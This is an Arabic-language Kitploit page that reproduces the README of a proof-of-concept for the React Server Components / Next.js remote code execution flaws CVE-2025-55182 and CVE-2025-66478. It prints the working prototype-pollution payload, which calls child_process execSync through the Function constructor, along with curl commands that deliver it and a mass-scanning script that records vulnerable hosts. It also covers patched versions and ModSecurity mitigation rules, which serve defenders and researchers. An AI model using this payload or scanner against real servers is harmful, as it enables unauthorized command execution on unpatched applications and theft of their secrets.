Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-55182-POC — الحد الأدنى من النموذج القابل للتطبيق (MVP) لإعادة إنتاج ثغرات React2Shell (CVE-2025-55182) و Next.js RSC RCE (CVE-2025-66478). يتضمن حمولة الاستغلال، سكريبت الفحص الجماعي، وقواعد ModSecurity WAF للتخفيف. | Kitploit
أدوات/GitHubGitHub/huahuai23/cve-2025-55182-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالتعلم والتعليم
GitHubhuahuai23/cve-2025-55182-poc

CVE-2025-55182-POC

الحد الأدنى من النموذج القابل للتطبيق (MVP) لإعادة إنتاج ثغرات React2Shell (CVE-2025-55182) و Next.js RSC RCE (CVE-2025-66478). يتضمن حمولة الاستغلال، سكريبت الفحص الجماعي، وقواعد ModSecurity WAF للتخفيف.

عرض المستودع
12منذ 9 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-55182 / CVE-2025-66478 بيئة إعادة إنتاج الثغرات

هذا هو الحد الأدنى من MVP لإعادة إنتاج ثغرات React2Shell (CVE-2025-55182) و Next.js RSC RCE (CVE-2025-66478).

⚠️ تحذير

هذا المشروع مخصص لأغراض البحث الأمني والتعليم فقط. لا تستخدمه في بيئات الإنتاج أو على أنظمة غير مصرح بها.

نظرة عامة على الثغرات

CVE-2025-55182 هي ثغرة خطيرة في مكونات خادم React (React Server Components) تؤثر على:

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js: ≥14.3.0-canary.77, ≥15, ≥16

يمكن للمهاجم استغلال ثغرة إلغاء التسلسل (deserialization) في بروتوكول Flight عبر طلب multipart/form-data مُصمم خصيصًا، مما يتيح تنفيذ الأوامر عن بُعد (RCE).

آلية الهجوم

  1. الحصول على مرجع Chunk: استخدام بناء $@N للحصول على كائن Chunk داخلي
  2. تلويث سلسلة النماذج الأولية (Prototype Pollution): حقن دالة then ضارة عبر $1:__proto__:then
  • تشغيل التنفيذ: استدعاء دالة then الملوثة عند await في Server Action
  • اختطاف المنشئ (Constructor Hijacking): اختطاف _formData.get كمنشئ Function
  • تنفيذ الأكواد: تنفيذ أي كود عبر إلغاء تسلسل Blob
  • البدء السريع

    1. تثبيت التبعيات

    root@kitploit:~
    npm install
    # أو
    yarn install
    # أو
    pnpm install
    

    2. تشغيل خادم التطوير

    root@kitploit:~
    npm run dev
    

    سيبدأ الخادم على http://localhost:3000.

    3. اختبار الثغرة

    استخدم سكريبت الاختبار المقدم:

    root@kitploit:~
    # اختبار هدف واحد
    ./test-exploit.sh http://localhost:3000
    
    # أو استخدم curl مباشرة
    curl -X POST http://localhost:3000/ \
      -H "Next-Action: x" \
      -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
      --data-binary @exploit-payload.txt
    

    إذا كانت الثغرة موجودة، سترى في الاستجابة مخرجات مشابهة لـ uid= (نتيجة تنفيذ أمر id).

    هيكل الملفات

    root@kitploit:~
    .
    ├── app/
    │   ├── actions.ts              # Server Actions (نقطة تشغيل الثغرة)
    │   ├── page.tsx                # الصفحة الرئيسية
    │   ├── layout.tsx              # التخطيط
    │   └── globals.css             # الأنماط العامة
    ├── package.json                # إعدادات التبعيات (باستخدام الإصدارات المتأثرة)
    ├── next.config.js              # إعدادات Next.js
    ├── test-exploit.sh             # سكريبت اختبار الثغرة لهدف واحد
    ├── scan-targets.sh             # سكريبت المسح الجماعي
    ├── exploit-payload.txt         # ملف حمولة الاستغلال
    ├── Cve-2025-55182-modsecurity-rules.conf      # قواعد ModSecurity للحماية
    └── README.md                   # هذا الملف
    

    شرح سكريبتات الاختبار

    1. test-exploit.sh - اختبار هدف واحد

    يختبر ما إذا كان عنوان URL واحد يحتوي على الثغرة:

    root@kitploit:~
    chmod +x test-exploit.sh
    ./test-exploit.sh http://localhost:3000
    

    السمة: إذا كان الرد يحتوي على uid= أو gid=، فهذا يدل على وجود الثغرة.

    2. scan-targets.sh - المسح الجماعي

    مسح أهداف متعددة:

    root@kitploit:~
    # إنشاء ملف قائمة الأهداف
    cat > targets.txt << EOF
    http://localhost:3000
    https://example.com
    https://api.example.com:8080
    EOF
    
    # تنفيذ المسح الجماعي
    chmod +x scan-targets.sh
    ./scan-targets.sh targets.txt
    

    سيتم حفظ نتائج المسح في vulnerable_hosts.csv.

    تحليل بنية الحمولة (Payload)

    root@kitploit:~
    {
      "then": "$1:__proto__:then",           // اختطاف دالة then
      "status": "resolved_model",             // التحكم في مسار التنفيذ
      "reason": -1,
      "value": "{\"then\":\"$B1337\"}",      // تشغيل إلغاء تسلسل Blob
      "_response": {
        "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
        "_chunks": "$Q2",
        "_formData": {
          "get": "$1:constructor:constructor"  // اختطاف كـ Function
        }
      }
    }
    

    النقاط الرئيسية:

    1. $@0: الإشارة إلى حقل form-data الأول، للحصول على كائن Chunk
    2. $1:proto:then: الوصول إلى Chunk.prototype.then
    3. _response._prefix: الكود الضار المحقون (سيتم تنفيذه بواسطة منشئ Function)
    4. $1:constructor:constructor: Object.constructor.constructor = Function

    خطط الإصلاح

    الخيار 1: الترقية إلى الإصدارات المُصلحة (موصى به)

    • React: 19.0.1, 19.1.2, 19.2.1 أو أحدث
    • Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7 أو أحدث
    root@kitploit:~
    npm install [email protected] [email protected] [email protected]
    

    الخيار 2: نشر قواعد ModSecurity WAF (تخفيف مؤقت)

    إذا تعذر الترقية فورًا، يمكن نشر قواعد ModSecurity كتخفيف مؤقت.

    Apache + mod_security

    root@kitploit:~
    # 1. تثبيت mod_security
    sudo apt-get install libapache2-mod-security2
    
    # 2. نسخ ملف القواعد
    sudo cp modsecurity-rules.conf /etc/modsecurity/
    
    # 3. تضمين القواعد في إعدادات Apache
    sudo vim /etc/apache2/mods-enabled/security2.conf
    # أضف: Include /etc/modsecurity/modsecurity-rules.conf
    
    # 4. إعادة تشغيل Apache
    sudo systemctl restart apache2
    

    Nginx + ModSecurity

    root@kitploit:~
    # 1. تثبيت ModSecurity لـ Nginx
    sudo apt-get install libnginx-mod-security
    
    # 2. نسخ ملف القواعد
    sudo cp modsecurity-rules.conf /etc/nginx/modsec/
    
    # 3. تفعيله في إعدادات Nginx
    sudo vim /etc/nginx/nginx.conf
    # في كتلة http أو server أضف:
    # modsecurity on;
    # modsecurity_rules_file /etc/nginx/modsec/modsecurity-rules.conf;
    
    # 4. إعادة تشغيل Nginx
    sudo systemctl restart nginx
    

    ميزات الكشف بالقواعد

    ستعترض قواعد ModSecurity الميزات التالية:

    • ✅ خصائص بروتوكول Flight ($@N, $BN)
    • ✅ تلويث سلسلة النماذج الأولية (__proto__, constructor:constructor)
    • ✅ استدعاء وحدات Node.js الخطيرة (process.mainModule.require, require('child_process'))
    • ✅ دوال تنفيذ الأوامر (execSync, exec)
    • ✅ التعامل مع الكائنات الداخلية (_response, _chunks, _formData, _prefix)
    • ✅ رؤوس طلبات Server Action (Next-Action, RSC-Action-ID)

    ⚠️ ملاحظة: قواعد WAF هي إجراء تخفيف مؤقت فقط، ولا توفر حماية كاملة. الترقية إلى الإصدارات المُصلحة ضرورية.

    توصيات أمنية

    إذا كان تطبيقك قد يتأثر:

    1. الاختبار الفوري: استخدم سكريبت test-exploit.sh لاختبار تطبيقك
    2. الترقية الفورية: قم بالترقية إلى الإصدارات المُصلحة
    3. تدوير المفاتيح: قم بتدوير جميع المتغيرات البيئية ومفاتيح API وكلمات مرور قاعدة البيانات
    4. مراجعة السجلات: تحقق من سجلات الوصول بحثًا عن طلبات Next-Action مشبوهة
    5. نشر WAF: قبل الترقية، انشر قواعد ModSecurity كحماية مؤقتة

    أمر curl للاختبار السريع

    إذا كنت تريد اختبار curl مباشرة (بدون سكريبت):

    root@kitploit:~
    curl -X POST http://localhost:3000/ \
      -H "Next-Action: x" \
      -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
      -H "X-Nextjs-Request-Id: b5dce965" \
      --data-binary @exploit-payload.txt
    

    إذا كانت النتيجة تحتوي على uid= أو gid=، فالثغرة موجودة.

    المراجع

    • الإعلان الرسمي من Vercel
    • GHSA الخاصة بـ React
    • GHSA الخاصة بـ Next.js
    • PoC لـ CVE (React)
    • ماسح CVE (Next.js)
    • وثائق ModSecurity

    شكر وتقدير

    • Lachlan Davidson - لاكتشاف الثغرة وإبلاغها بمسؤولية
    • فريق Meta Security & React Team
    • فريق Vercel

    الترخيص

    هذا المشروع مخصص للأغراض التعليمية فقط. يُرجى الالتزام بالقوانين واللوائح ذات الصلة عند استخدام هذا الكود.

    تنزيل الأداة